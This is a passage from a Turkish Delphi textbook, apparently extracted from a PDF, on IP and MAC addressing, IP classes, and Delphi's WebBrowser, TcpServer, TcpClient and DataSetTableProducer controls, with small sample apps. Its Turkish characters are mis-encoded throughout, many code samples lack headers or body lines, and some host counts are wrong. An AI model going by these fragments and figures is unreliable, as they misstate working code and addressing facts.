Bilgisayarın Adı
Bilgisayarın MAC Adresi
Bilgisayarın IP Adresi
Bilgisayarın Subnet Mask
de÷eri,
Öncelikle belirtmek istedi÷im husus , “MAC” adresidir. Bu adres a÷ ortamına
katılan bilgisayarın, a÷ adaptöründe (ethernet kartı- modem vs) olması gereken
ve söz konusu bilgisayarı ortamda tanıtacak olan eúsiz (baúka bir bilgisayar
kullanamaz) bir de÷erdir (Hexadecimal). Bir bilgisayarın “MAC” adresini
ö÷renmek için “Start->Programs->Accessories->Command Prompt” adımlarını
izleyebilirsiniz. Bu ekranda “ipconfig/all” yazıp enter tuúuna basarsanız, adaptör
kartına ait tüm bilgileri kolayca ö÷renebilirsiniz.
A÷ ortamına katılan bilgisayarların iletiúimi “MAC” adresleri arasında
gerçekleúmektedir. Fakat kullanıcı bu adres de÷erini kullanarak haberleúmeye
kalkarsa büyük olasılıkla hatalara sebebiyet verecektir. Bu yüzden “MAC”
adresi ile “IP” (bu adres mac adresine göre daha anlaúılırdır) adresi arasında bir
ba÷ kurma zorunlulu÷u do÷maktadır.
290
Bilgisayarda “TCP/IP” konfigürasyonunu gerçekleútirdi÷imiz zaman “MAC”
adresi ile “IP” adresi arasında bir ba÷ kurmuú olmaktayız. Yani bizim “IP”
numaramızı yazan bir kullanıcı, bu konfigürasyon sayesinde “IP” numaramızı
kullanarak “MAC” numaramıza ulaúmaktadır. Bundan sonraki kısım ise
bilgisayar içerisinde kullanılan paket yazılımlarına kalmaktadır.
“IP” numarası yazılarak di÷er bilgisayara ba÷lanılmak istendi÷inde devreye
“ARP” (Adress Resolation Protocol) protokolü girerek (“TCP/IP” içerisinde alt
protokol olarak bulunur) belirtilen “IP” numarasının hangi bilgisayara (“MAC”
adresine) ait oldu÷unu size bildirir. Adres tespit edildikten sonra kullandı÷ınız
yazılımlarla istenildi÷i úekilde haberleúmek mümkün olacaktır.
økinci olarak bilgisayarınız için kullanılan “IP Numarası” ile ismi arasındaki
çözümleme iúleminden bahsedece÷im. Bilgisayarlarda “NETBIOS” ne “DNS”
olmak üzere iki çeúit isimlendirme kullanılmaktadır. Örnek üzerinde izah edecek
olursak, bilgisayarınızın isminin “ALBATROS” oldu÷unu varsayalım. Söz
konusu bilgisayar internet ortamında www.deniz.com web adresine sahip
úirketin “DENIZ.COM” isimli domain ortamına katılır ise aynı zamanda
“albatros.deniz.com” DNS ismine de sahip olmuú olacaktır. Aynı domain üyesi
di÷er bir bilgisayardan “albatros” isimli bilgisayarda paylaúıma açılmıú olan
“Rapor2003” isimli klasöre ulaúmak için (o klasör içerisindeki di÷er elemanları
görebilmesi için) “Start->Run” adımlarını izleyerek açılan pencereye aúa÷ıdaki
komutu yazması yeterli olacaktır (Security sorununun olmadı÷ı varsayıldı).
\\albatros\rapor2003
Network ortamında di÷er bir bilgisayara ait path yazılımı iki adet ters slaç ile
baúlamak zorundadır hatırlatalım (Delphi 7 Kitabımızda bu konulara
örneklendirmeler yapılmıútır). Burada ba÷lantı yolu olarak kullanılan isim
291
bilgisayarın “NETBIOS” ismidir.Aynı adres yazılımını aúa÷ıdaki úekilde de
gerçekleútirebilirsiniz. Aralarındaki tek fark “.” Kullanılan adreslerin sadece
“DNS” tarafından çözümlenebildi÷idir.
“DNS” Domain Name System olarak adlandırılan ve 1980 lerde a÷ ortamındaki
bilgisayar sayısında oluúan artma sonucu isimleme çözümlemelerinde oluúan
yeni problemleri çözmeye yönelik oluúturulmuú olan bir veritabanıdır.
øsimlendirme için “.” Kullanılmayan sistemlerde adres çözümlemek için
microsoft tarafından geliútirilmiú ikinci yöntemse “WINS” olarak
adlandırılmakta genellikle eskiye yönelik iúletim sistemlerinde yer alan isimlerin
çözümlenebilmesi için kullanılmaktadır.
Her iki isim çözümlemesi durumunda da kullanıcının belirtti÷i bilgisayar ismine
karúılık gelen “IP” adresinin bulunması atılan ilk adım olacaktır. Söz konusu
adres tespit edildi÷inde, bilgisayara ait “MAC” adresi kullanıcıya
gönderilmektedir. Bu aúamada devreye “ARP” girerek “MAC” adresi için
gerekli olan çözümlemeyi yapar. Artık iletiúim bu iki “MAC” adresinin
bulundu÷u bilgisayarlar arasında gerçekleúecektir.
ùayet biliniyorsa “IP Numarası” kullanılarak di÷er bilgisayar içerisinde
paylaúıma açık klasörlere de ulaúılabilir. Yapmanız gereken tek úey “IP
Numarası” yazıp ardından klasörün ismini girmekten ibaret olacaktır.
“ALBATROS” isimli bilgisayarın “IP Numarası” 200.200.200.3” ise aúa÷ıdaki
úekilde aynı klasöre ulaúılabilecektir.
Adresi yazıp “OK” buttonuna tıklayınız (security sorunu yok sayıldı).
292
TCP/IP genel olarak 32-bit adresleme sistemi olarak tarif edilir. Burada
belirtilmek istenen husus TCP/IP ile yapılandırılan bilgisayarın bir nevi
etiketlendirildi÷idir. Öyleki söz konusu adreslemenin yapıldı÷ı bilgisayar
ortamda benzersiz bir tanımlamaya sahip olacaktır.
TCP/IP adresleme sistemi telefon numaralandırma sistemine benzer bir yapıya
sahiptir. Örne÷in Ankara-Maltepe semtinde yer alan tüm telefon numaraları
(090)(312)(231)(......) rakamlarını içerir. E÷er GÜMMF ne ulaúılmak istenirse
sonuna (7400) eklemeniz yeterli olacaktır. Sonuç olarak Ankara úehri Maltepe
semtinde bulunan tüm kullanıcıları tanımlayan kısım ile, GÜMMF’sini
tanımlayan özel kısımdan oluúan bir sistem vardır. Dolayısıyla 090 312 231
7400 numaralı telefon bir tek kullanıcıda olabilir. Örne÷imizden yola çıkarak
network ortamımızı açıklamaya çalıúacak olursak a÷ ortamına kattı÷ımız
bilgisayarımıza verdi÷imiz “IP” adresinin bir kısmı içerisinde yer aldı÷ımız a÷ı
tanımlarken (Network ID), ikinci kısımda bilgisayarımızı benzersiz yapacak
olan özel bölümden (Host ID) ibaret olacaktır.
ALBATROS isimli bilgisayara ait verileri aúa÷ıda vererek biraz beyin jimnasti÷i
yapmaya çalıúalım.
Kategori
Sonuç
Bilgisayar Adı:
ALBATROS
IP Numarası:
200.200.200.8
Subnet Mask
255.255.255.0
Hatırlatalım IP Numarası birbirinden nokta ile ayrılmıú dört farlı sayıdan oluúur.
Aynı úekilde Subnet Mask de÷eride yine birbirlerinden nokta ile ayrılmıú 0-255
arası dört adet sayıdan oluúmaktadır. Yukarıdaki örne÷imiz için daha önceden
bahsetti÷imiz de÷erler aúa÷ıda verilmiútir.
Kategori
Sonuç
Network ID
200.200.200
Host ID
8
Subnet Mask
255.255.255.0
Sonuç olarak yukarıdaki de÷erlere sahip olan bir bilgisayar ile Router
kullanmadan aynı “Network ID” ve aynı “Subnet Mask” de÷erlerine sahip tüm
bilgisayarlar haberleúebilecektir (Host de÷erlerinin zaten aynı olması
beklenemez). øki farklı bilgisayarın Router kullanmadan haberleúebilmesi için
aynı segment içerisinde yer almaları gerekmektedir. ùimdi yukarıdaki bilgisayar
ile aynı segmenti paylaúan di÷er bilgisyarları ve de÷erlerini belirleyelim. Tüm
bilgisayarlara ait de÷erler aúa÷ıdaki tabloda verilmektedir.
293
Bilgisayar Adı
MAC Adresi
Network ID
Farklı
Farklı
Aynı
Albatros
00-00-21-50-D7-22 200.200.200
Di÷er Bilgisayar 00-00-21-36-7A-36 200.200.200
Host ID
Subnet Mask
Farklı
Aynı
8
255.255.255.0
0-255 (8 hariç) 255.255.255.0
Buradaki MAC numarasının üretici firma tarafından verilen benzersiz bir
numara oldu÷unu hatırlatalım.
TCP/IP nin , 32 –bit adresleme sistemini kullandı÷ını daha önceki
izahatlarımızda belirtmiútik. Yani 32 adet 0 ile 1 in yan yana yazılmıú halini
düúünün. Aynen aúa÷ıda gösterildi÷i úekilde.
11001000110010001100100000001000
ùimdi bu yazımı her sekiz rakamdan sonra bir nokta koyarak biraz daha anlaúılır
hale getirelim.
11001000.11001000.11001000.00001000
Yukarıda 4 octed (4 sekizli) ten oluúan “IP” numarası verilmiútir. Her sekizli 0255 arasında de÷er alabilecektir (ikilik sistemi onluk sisteme çevirece÷iz). Yani
(11001000)2=1*2^7+1*2^6+0*2^5+0*2^4+1*2^3+0*2^2+0*2^1+0*2^=200
Sonuç IP Numarası=200.200.200.8
úeklinde olúacaktır.
TCP/IP ile a÷ yapılandırması yaparsak 32-bit lik yöntemle kaç adet bilgisayar
tanımlayabiliriz? Basit gibi görünen bu soru dikkat edilecek önemli hususları da
beraberinde getirmekte, hemen izah edelim.
Her bir sekizli minimum sıfır (0), maximum (255) de÷erini alabildi÷ine göre
256*256*256*256 adet bilgisayar adresi bulunacaktır. Bu adreslerin tamamının
bilgisayarlar için kullanılabilmesi fiziksel açıdan mümkün olamamaktadır.
Çünkü böyle bir adresleme ile tanımlanan tüm bilgisayarların birbirleri ile direk
haberleúebilmesi sa÷lanacaktır. Tüm kurumların (gizli bilgileri olan kurumlarda
dahil) a÷ ortamında birbirleriyle haberleúmesi önemli güvenlik sorunlarını
ortaya çıkaracaktır. Bu ve benzeri di÷er sebeplerden dolayı farklı de÷erler için
tanımlanmıú 5 (beú) de÷iúik “IP” sınıfı bulunmaktadır. Herbirinin baúlangıç
de÷eri di÷erlerininkinden farklı olacaktır.
Aúa÷ıda network ortamında kullanılabilen tüm “IP” sınıfları baúlangıç
de÷erleriyle beraber tablo halinde sizlere sunulmuútur. Dikkatlice incelemenizi
tavsiye ederim.
294
Class
Baúlangıú Octed De÷eri
A Class
1-126
B Class
128-191
C Class
192-223
D Class
224-239
E Class
240-254
Dikkat edin teorik olarak mümkün gözükmekle beraber ilk sekizli de÷erinin
“0”veya “255” olması mümkün olamamaktadır. Sebebini izah etmek isterdim
ama biraz teknik bir husus e÷er daha detaylı bilgi almak isterseniz “Windows
2003 Server” kitabımızdan faydalanabilirsiniz.
A Class
Bu sınıfa ait “IP” numaraları özellikleri aúa÷ıda verilmektedir.
Network ID
1-126
Sadece ilk Sekizli
Host ID
0-255
Son Üç Sekizli
Örnek IP Numarası
121.12.5.85
-
Subnet Mask
255.0.0.0
B Class
Network ID
128-191
Sadece ilk øki Sekizli
Host ID
0-255
Son øki Sekizli
Örnek IP Numarası
165.200.99.3
-
Subnet Mask
255.255.0.0
C Class
Network ID
192-223
øllk Üç Sekizli
Host ID
0-255
Son Sekizli
Örnek IP Numarası
200.200.200.8
-
Subnet Mask
255.255.255.0
Görüldü÷ü gibi “ALBATROS” isimli bilgisayarın yer aldı÷ı segment “C” sınıfı
bir bölgede yer almaktadır. Yeri gelmiúken “ALBATROS” isimli bilgisayarın
yer aldı÷ı segment içerisinde do÷rudan kaç bilgisayar birbiriyle haberleúebilir
sorusunun yanıtı “Network ID” numaraları aynı olaca÷ı için de÷iúebilecek olan
295
sadece son sekizli olacaktır. Son sekizlinin de alabilece÷i de÷er 1-254 arası
olaca÷ı için maximum 255 adet bilgisayar birbirleriyle haberleúebilir.
Aynı örne÷i “B Class” ına ait bir “IP” numarası için yapacak olursak, aúa÷ıdaki
örne÷i inceleyiniz.
IP Numarası
Subnet Mask
:165.200.99.3
:255.255.0.0
Buradaki Network ID kısmı “165.200” tüm bilgisayarlarda aynı olaca÷ı için
de÷iúecek olan kısım son iki sekizli olacaktır. Bu yüzden 256*254=65024 adet
bilgisayar birbirleriyle do÷rudan haberleúebilecektir (254 de÷eri 0 ile 255
çıkarıldıktan sonra elde edilmiútir). Di÷er segmentler ile ancak Router cihazı
kullanılarak haberleúilebilir (Bu tür ba÷lantılarda bilgisayarınızın daha a÷ır
çalıútı÷ını göreceksiniz).
ùayet programınızı internete açılmayan bir a÷ için yazacaksanız yukarıdaki
ayarları firmaya ait Network mühendisinden yardım alarak gerçekleútirmelisiniz
(belki de tamamını network mühendisi yapacaktır ama siz yinede iúinize
yarayacak kadarını ö÷reniniz). E÷er internet üzerinden kullanılacaksa gerekli
de÷erleri (IP Numarası-Subnet Mask vs) zaten ba÷lantıyı sa÷ladı÷ınız anda
servis sa÷layıcınız tarafından otomatik olarak bilgisayarınıza aktarılacaktır.
ùayet internet üzerinden devamlı olarak hizmet veren bir web Server uygulaması
geliútirecekseniz, servis sa÷layıcınızdan bir adet static “IP” numarası satın
almalısınız (aksi takdirde bilgisayarınızın IP numarası de÷iúebilece÷i için
bilgisayarınızı kapatıp tekrar ba÷lanırsanız büyük olasılıkla sorunlarla
karúılaúacaksınız).
Buradan sonra gösterilecek olan kontroller anlatılan konuları dikkate alarak
hesap yapmakta ona göre ba÷lantı iúlemlerini gerçekleútirebilmektedir.
Bu konular üzerinde daha detaylı bilgi edinmek için www.prestigeturk.com
adresi ile ba÷lantı kurabilir, veya piyasada bulunan “Windows 2003 Server”
kitabımızı (Prestij Yayıncılık) temin edebilirsiniz.
296
Internet Kontrolleri:
ùimdi sizlere internet üzerinde genel amaçlı kullanabilece÷iniz kontrollerden
bahsedece÷im. Proje içerisinde “Internet” yapra÷ı altında bu kontrollere
ulaúabilirsiniz.
WebBrowser Kontrolü:
Bu kontrol sayesinde web sayfaları arasında gezinebilir. østedi÷iniz sayfayı aktif
hale getirebilirsiniz. Aúa÷ıda kontrol tarafından kullanılan özellikler izah
edilmektedir.
x WebBrowser1.Navigate
Parametre ile belirtilen web sayfasına eriúmek için kullanılan methoddur.
Aúa÷ıdaki úekilde kolayca kullanılabilir.
begin
WebBrowser1.Navigate('www.Prestigeturk.com');
end;
Adres de÷erini string olarak girebilece÷iniz gibi aúa÷ıdaki úekilde formunuzun
üzerindeki bir kontroldende aktarabilirsiniz.
297
begin
WebBrowser1.Navigate(ComboBox1.Text);
end;
ùatey olayı “ComboBox” kontrolünden faydalanarak gerçekleútirecekseniz.
“OnClick” yordamını kullanmalısınız.
procedure TForm1.ComboBox1Click(Sender: TObject);
begin
end;
x WebBrowser1.GoHome
Ana Sayfaya dönmek için kullanılan methoddur. Kastedilen ana sayfa “Internet
Explorer” tarafından belirlenmiú olan sayfanın web adresidir.
//Ana Syfaya Dön
begin
WebBrowser1.GoHome;
end;
x WebBrowser1.GoBack
Dolaútı÷ınız sayfalar içerisinde bir önceki sayfaya ulaúmak için kullanılan
methoddur.
//Önceki Sayfaya Dön
begin
WebBrowser1.GoBack;
end;
Burada yeri gelmiúken belirtelim. ùayet ilk sayfada iseniz ve gidecek baúka
sayfa olmadı÷ı zaman uygulamanız size hata mesajı iletecektir. Oluúabilecek bu
mesajı engelleyebilmeniz için kodu aúa÷ıdaki úekilde de÷iútirmek zorundasınız
(Aynı durum sonraki sayfa içinde geçerli olacaktır).
298
begin
try
WebBrowser1.GoBack;
except
Button2.Enabled:=false;
end;
end;
x WebBrowser1.GoForward
WebBrowser içerisinde bir sonraki sayfaya geçilebilmesi için kullanılan
methoddur. ùayet bu sayfa yoksa hata mesajı verecektir. Bu yüzden aúa÷ıdaki
úekilde kullanmalısınız.
//Sonraki Sayfaya Git
begin
try
WebBrowser1.GoForward;
Except //hata olursa iúler
end;
end;
x WebBrowser1.GoSearch
“Internet Explorer” içerisinde belirlenmiú olan arama sayfasına ulaúmak için
kullanılan methoddur.
//Arama Sayfasına Git
begin
WebBrowser1.GoSearch;
end;
x WebBrowser1.LocationURL
Ba÷lanılan sayfanın web adresini tutan özelli÷idir. Sayfa de÷iúti÷i zaman
ComboBox içerisindeki veriyi bu özellikle de÷iútirebilirsiniz.
299
//Ana Syfaya Dön
begin
WebBrowser1.GoHome;
ComboBox1.Text:=WebBrowser1.LocationURL;
end;
x WebBrowser1.LocationName
Ba÷landı÷ınız sayfanın adresinin bulundu÷u ilk ismi döndüren özelli÷idir.
Uygulama 1: WebBrowser Örne÷i
Aúa÷ıdaki tasarımı oluúturup gerekli kod blo÷unu “Unit” pencerenizdeki
yordamlara ekleyiniz.
begin
ComBoBox1.Items.Add('http://www.prestigeturk.com');
ComBoBox1.Items.Add('http://www.gazi.edu.tr');
ComBoBox1.Items.Add('http://www.superonline.com');
ComBoBox1.Items.Add('http://www.mynet.com');
ComboBox1.ItemIndex:=0;//ilk elemanı göster
end;
begin
300
Button2.Enabled:=true;
end;
//Ana Syfaya Dön
begin
WebBrowser1.GoHome;
end;
begin
try
WebBrowser1.GoBack;
except
end;
end;
//Sonraki Sayfaya Git
begin
try
except
end;
end;
begin
ComboBox1.Text:='www.mmicrosoftsourch.com';
end;
procedure TForm1.ComboBox1Change(Sender: TObject);
begin
end;
301
procedure TForm1.ComboBox1KeyPress(Sender: TObject; var Key:
Char);
begin
if Key=#13 Then
end;
Uygulama 2:Sakıncalı Sayfalar øçin WebBrowser Örne÷i
Aúa÷ıdaki uygulamada belirleyece÷imiz kelimelerin içerisinde geçece÷i web
sayfalarına
giriúi
engelleyece÷iz.
Burada
kullanılan
“WebBrowser1DownloadBegin” yordamı web sayfası indirilmeye baúlandı÷ı
anda otomatik olarak iúleyecektir. Burada yaptıraca÷ınız kontrolle sayfanın
güvenli olup olmadı÷ını kontrol ettirebilirsiniz.
Yukarıdaki formda ComboBox içerisine “sex” veya “eritica” kelimelerini
kullanırsanız sayfayı açamayacak ve aúa÷ıdaki mesaj ile karúılaúacaksınız.
Mesaj iletildikten
ulaúılabilmektedir.
302
sonrada
belirtilen
kod
çerçevesinde
ana
sayfaya
Uygulama için kullanılan tüm kod blo÷u aúa÷ıda verilmiútir. Dikkatlice
inceleyiniz.
begin
ComboBox1.Items.Add('http://www.prestigeturk.com');
ComboBox1.Items.Add('http://www.microsoft.com');
ComboBox1.Items.Add('http://www.mynet.com');
ComboBox1.Items.Add('http://www.superonline.com');
RadioButton1.Checked:=true;
end;
//Ana Sayfaya Git
begin
WebBrowser1.GoHome;
end;
//Önceki Sayfa
begin
try
WebBrowser1.GoBack;
except
end;
end;
//Sonraki Sayfa
begin
try
except
end;
end;
begin
WebBrowser1.Navigate('www.microsoftsourch.com');//siz de÷iútirin
303
end;
procedure TForm2.WebBrowser1DownloadBegin(Sender: TObject);
var
i,j:Integer;
aranan:AnsiString;
begin
aranan:=ComboBox1.Text;
Form2.Text:=aranan;
i:=Pos('sex',aranan);//içinde ara
j:=Pos('erotica',aranan);
if (i<>0)or(j<>0) Then //øçinde varsa
begin
if RadioButton2.Checked Then//iúaretli ise
begin
ShowMessage('Bu Sayfa Çocuklara Göre De÷il');
WebBrowser1.GoHome;//Ana sayfaya dön
ComboBox1.Text:='http://www.mynet.com';//ana sayfanız neyse
exit;
end;
end;
end;
Char);
begin
if Key=#13 Then
begin
ComboBox1.Items.Add(ComboBox1.Text);
end;
end;
begin
ComboBox1.Items.Add(ComboBox1.Text);
end;
Uyarı:Bu kontrol sisteminizin kullandı÷ı Browser üzerinden sayfalara
ulaúabilmektedir. Bu yüzden muhakkak kullandı÷ınız bir Browserin
bilgisayarınızda aktif olması gerekecektir.
304
TcpServer Kontrolü
Bu kontrol sayesinde “Tcp/IP” kullanan a÷larda haberleúme iúlemi kolayca
sa÷lanabilmektedir. Kontrole ait özellikler aúa÷ıda listelenmektedir.
x TcpServer1.LocalPort
Bilgisayarların birbirleriyle haberleúecekleri port bu özellikle belirlenir. Port
numaralarında dikkat etmeniz gereken bir husus vardır. Bir veriyi hangi
numaradan gönderiyorsanız, yine o numaralı porttan dinlemelisiniz. Aksi
takdirde port dinleme iúleminiz baúarısızlıkla sonuçlanacaktır.
begin
TcpServer1.LocalPort:=’20000’;//string tip
end;
x TcpServer1.Active
Portun dinlenmeye baúlanması için gerekli olan özelliktir. True de÷erinin
aktarılması o portun dinlemeye alındı÷ı anlamını taúımaktadır (Bu iúlemi port
numarasını belirledikten sonra yapın).
begin
TcpServer1.LocalPort:=20000;
TcpServer1.Active:=True;//20000 numaralı portu dinlemeye al
end;
x OnAccept Yordamı
“TcpServer” kontrolü bu yordamı kullanarak portan gelen veriyi ve bilgiyi
gönderen bilgisayara ait özellikleri ö÷renebilir. Aúa÷ıdaki úekilde
tanımlanmıútır. Lütfen açıklamalara dikkat ediniz.
procedure TForm1.TcpServer1Accept(Sender: TObject;
ClientSocket: TCustomIpClient);
begin
end;
305
Prosedür içerisinde “ClientSocket” isimli bir de÷iúken tanımlıdır. Bu de÷iúkeni
kullanarak gönderilen mesajı, gönderen bilgisayarın “IP” numarasını, bilgisayar
ismini, port numarasını vs. kolayca ö÷renebilirsiniz.
x ClientSocket.RemoteHost
Bu özellik ile mesajı gönderen bilgisayarın “IP” numarasını ö÷renebilirsiniz.
begin
ListBox1.Items.Add(ClientSocket.RemoteHost); //ip numarasi
end;
x ClientSocket.LocalHostAddr
Bu özellikle lokal bilgisayarın “IP” numarası ö÷renilebilir.
begin
ListBox1.Items.Add(ClientSocket.LocalHostAddr);//ip numarası
end;
x ClientSocket.LocalHostName
Bu özellik ile Bilgisayarın ismini ö÷renebilirsiniz.
//Bilgisayar ismi
begin
ListBox1.Items.Add(ClientSocket.LocalHostName);//bilgisayarın adı
end;
x ClientSocket.Receiveln()
Porta gelen veri bu method kullanılarak okunabilir. Methoddan geriye string
içerikli de÷er döndü÷ü için direk string tipte bir de÷iúkene aktarılabilir.
306
var
x:AnsiString;
begin
ListBox1.Items.Add(ClientSocket.RemoteHost); //ip numarasi
x:=ClientSocket.Receiveln();//portu oku
ListBox2.Items.Add(x); //ListBoxa aktar
end;
307
TcpClient Kontrolü
Bu kontrolü kullanarak “TCPServer” kontrolüne bilgi gönderilebilir, veya
“TCPServer” kontrolünden gelen mesajlar okunabilir. Kontrole ait genel
özellikler aúa÷ıda verilmiútir.
x TcpClient1.RemoteHost
Bu özellik sayesinde mesajın gönderilece÷i bilgisayar belirlenecektir.
Aktarılacak olan de÷er string tipte veri olup, di÷er bilgisayarın “IP” numarası
olacaktır.
begin
TcpClient1.RemoteHost:='10.11.0.180' ;// bu makineye mesaj gönderilecek
end;
x TcpClient1.RemotePort
Di÷er bilgisayarla haberleúilecek olan port numarası bu özellikle belirlenir.
String tipte bir de÷er atanabilir. Unutmayın “TcpServer” hangi portu dinliyorsa
o numaralı porttan veri gönderebilirsiniz.
begin
TcpClient1.RemotePort:='20000';//Bu porttan gönderilecek
end;
x TcpClient1.Active
Ba÷lantı iúleminin gerçekleúebilmesi için gerekli olan özelli÷idir. økinci kez veri
aktarılaca÷ı zaman tekrar aktifleútirilmelidir.
begin
TcpClient1.Active:=false; //kapat
TcpClient1.Active:=True;//Aç
end;
308
x TcpClient1.Sendln()
“TcpServer” kontrolüne mesaj göndermek için kullanılan methoddur.
Gönderilecek olan mesaj string tipte bir de÷iúkenin de÷eri olacaktır.
begin
TcpClient1.Active:=false; //kapat
TcpClient1.RemotePort:='20000';//Bu porttan gönderilecek
TcpClient1.Active:=TRUE; //aç
TcpClient1.Sendln('NEHABER');//Gönder
end;
x OnConnect Yordamı
“TcpServer” kontrolü ile ba÷lantı sa÷landı÷ı anda otomatik olarak iúleyen bir
yordamdır.
procedure TForm1.TcpClient1Connect(Sender: TObject);
begin
ShowMessage('Server øle Ba÷lantı Sa÷landı');
end;
x OnDisConnect Yordamı
“TcpServer” bilgisayarı ile ba÷lantı koptu÷u anda otomatik olarak iúleyen bir
yordamdır. “TcpClient1.Active:=false” satırı bu yordamı iúletecektir.
procedure TForm1.TcpClient1Disconnect(Sender: TObject);
begin
ShowMessage('Baúlantı Kesildi');
end;
x OnSend Yordamı
“TcpServer” kontrolüne mesaj gönderildi÷i anda otomatik olarak iúleyen bir
yordamdır.
procedure TForm1.TcpClient1Send(Sender: TObject; Buf: PAnsiChar;
var DataLen: Integer);
begin
Label1.Caption:='Mesaj Gönderiliyor';
end;
309
Uygulama 3:Di÷er Bilgisayardaki Tabloyu Sorgulamak:
Örne÷imiz için iki adet uygulama geliútirece÷iz. Birincisi tablo bilgilerimizin
yer aldı÷ı server uygulaması (server uygulamasının iúletim sistemiyle herhangi
bir ilgisi yoktur. TcpServer kontrolünü kullandı÷ı için server uygulaması olarak
adlandırılacaktır), ikincisiyse ürünün numarasını di÷er bilgisayardan gönderecek
olan “Client” uygulaması. øki projeye ait tasarım aúa÷ıda verilmektedir.
Adımları sırasıyla izleyiniz.
Server Uygulaması:
Bu uygulama için öncelikle aúa÷ıdaki tabloyu paradox içerisinde oluúturup
“gazi” aliasının içerisine “URUN” ismiyle kaydediniz.
Ardından içerisine gerekli olan kayıtlarınızı giriniz. Artık formunuzun
tasarımına baúlayabilirsiniz.
Birinci adımda formunuza bir adet “Query” kontrolü ekleyerek
“DataBaseName” özelli÷ine “gazi” ismini aktarınız.
økinci adımda formunuza bir adet “DataSource” kontrolü yerleútirip
“DataSet” özelli÷ine “Query1” kontrolünü aktarınız.
Üçüncü adımda formunuza bir adet “DBGrid” nesnesi yerleútirip
“DataSource” özelli÷ine “DataSource1” kontrolünü aktarınız.
310
Dördüncü adımda formunuza “Internet” yapra÷ında yer alan
“TcpServer” kontrolünden bir adet yerleútirerek aúa÷ıdaki tasarımı
oluúturunuz.
Beúinci adım olarak aúa÷ıdaki kod blo÷unu “Unit” pencerenize ekleyiniz.
//Açılıúta hepsini göster
begin
Query1.SQL.Clear;
Query1.SQL.Add('Select * From URUN');
Query1.Open;
TcpServer1.LocalPort:='20000';
TcpServer1.Active:=True;
end;
//Porttan oku ve sorgula
var
veri:AnsiString;
deger:Integer;
begin
veri:=ClientSocket.Receiveln();//portu oku
deger:=StrToInt(veri);
Query1.SQL.Clear;
Query1.SQL.Add('Select * From URUN Where BARKODNO=:BAR');
Query1.Params[0].AsInteger:=deger;
Query1.Open;
end;
ùimdi oluúturdu÷unuz bu projeyi kaydedip di÷er uygulamayı geliútirmeye
baúlayınız (kaydettikten sonra bir kez çalıútırın, exe si oluúsun).
311
Client Uygulaması
Server uygulamasına parametre de÷erini gönderecek olan “Client” uygulaması
için aúa÷ıdaki tasarımı oluúturunuz.
Birinci adımda formunuza bir adet label, bir adet Edit ve bir adet Button
kontrolü yerleútiriniz.
økinci adımda formunuza “Internet” yapra÷ında yer alan “TcpClient”
kontrolünden bir adet yerleútirip aúa÷ıdaki kod blo÷unu da “Unit”
penceresine ekleyiniz.
var
veri:AnsiString;
begin
veri:=Edit1.Text;
TcpClient1.Active:=false;
TcpClient1.RemotePort:='20000';
TcpClient1.RemoteHost:='10.11.0.180';//Di÷er IP Numaranız olacak
TcpClient1.Active:=true;
TcpClient1.Sendln(veri);//gönder
end;
ùimdi server uygulamasını çalıútırın. Aúa÷ıdaki úekilde tüm kayıtlar
listelenecektir.
312
ùimdi de Client uygulamasının “exe” sini çalıútırıp iki pencereyide aúa÷ıdaki
úekilde alt alta alın.
Server Uygulaması
Client Uygulaması
“Client Uygulamasında” Edit kutusuna sorgulama kriteriniz olan “Barkod”
Numarasını girip “Gönder” isimli dü÷meye tıklayınız. “Server Uygulaması” için
ekran görüntünüz yukarıdaki pencerede oldu÷u gibi sadece “50” numaralı
ürünün gösterildi÷i tek kayıtlık bir hal alacaktır.
313
DataSetTableProducer Kontrolü
Bu kontrol sayesinde hiç bir kod kullanmadan tablolarınızdaki kayıtları “html”
formatına aktarıp web sayfanızda yayımlayabilirsiniz. Kullanımı sonderece
basittir. Aúa÷ıda özellik ve methodları verilmektedir.
x DataSetTableProducer1.DataSet
Html kodu oluúturulacak tablo bu özellikle belirlenir. Kodla veya “Object
Inspector” penceresinden belirleyebilirsiniz.
procedure TForm1.ListBox1Click(Sender: TObject);
begin
DataSetTableProducer1.DataSet:=Table1;
end;
x DataSetTableProducer1.Caption
“Html” kodu içerisinde “Title” da yer alacak baúlık bu özellikle belirlenir.
begin
DataSetTableProducer1.Caption:='SIRKET KAR DURUMU';
End;
x DataSetTableProducer1.content
“DataSetTablePageProducer” kontrolü table nesnesine ba÷landı÷ı anda
üretilecek olan “html” kodu bu komut sayesinde gerçekleúecektir. Geriye dönen
de÷er string tipte olup AnsiString bir de÷iúkene direk olarak atanabilir.
//html kodu üret
var
html:AnsiString;
begin
html:=DataSetTableProducer1.content; //kodu üret
end;
314
Uyglama 4:Tabloları Web Sayfasında Görüntülemek
Aúa÷ıdaki uygulamada “gazi” aliası içerisindeki tüm tablolar ListBox içerisinde
listelenmekte, seçilen tablo kayıtları için, memo1 kontrolünde “html” kodu,
WebBrowser’dada Web sayfası görünümü listelenmektedir.
Aúa÷ıdaki tasarımı oluúturp gösterilen adımları sırasıyla izleyiniz.
Birinci adımda formunuza bir adet ListBox, Bir adet Memo,Bir adet
Table,bir adet DataSource, Bir adet DBGrid, bir adet WebBrowser
økinci adımda tablonuza ait “DataBaseName” özelli÷ine “gazi” aliasını
aktarınız (tablolarımız bu aliasın içerisinde).
Üçüncü adımda “DataSource” nesnenize ait “DataSet” özelli÷ine
“Table1” kontrolünü aktarınız.
Dördüncü adımda “DBGrid” nesnesine ait “DataSource” özelli÷ine
“DataSource1” de÷erini aktarınız.
Altıncı adımda “Table1” kontrolüne ait “Active” özelli÷ini true yapınız.
Bu aúamadan sonraki kısmı program koduyla gerçekleútirece÷iz. Bu
yüzden yedinci adım olarak aúa÷ıdaki kod blo÷unu “Unit” pencerenize
ekleyiniz.
315
//gazi aliası içerisindeki tabloları listboxa ekle
var
deger:TStrings;
begin
deger:=TStringList.Create;//yarat
Session.GetTableNames('gazi','*.*',true,false,deger);//tabloları deger e al
ListBox1.Items:=deger; //tüm tabloları göster
//bu kod blo÷undan sonra listBox içerisinde tüm tablolar listelenecektir
end;
var
i:Integer;
begin
Table1.Close;
i:=ListBox1.ItemIndex;
Table1.TableName:=ListBox1.Items[i];
if i=0 Then
DataSetTableProducer1.Caption:='SIRKET KAR DURUMU'
else if i=1 Then
DataSetTableProducer1.Caption:='MAGAZA BILGILERI'
else if i=2 Then
DataSetTableProducer1.Caption:='MUSTERI BILGILERI'
else if i=3 Then
DataSetTableProducer1.Caption:='SERVIS BILGILERI'
else if i=4 Then
DataSetTableProducer1.Caption:='URUN BILGILERI';
Table1.Open;
DataSetTableProducer1.DataSet:=Table1;
Memo1.Text:=DataSetTableProducer1.content; //html kodu üret
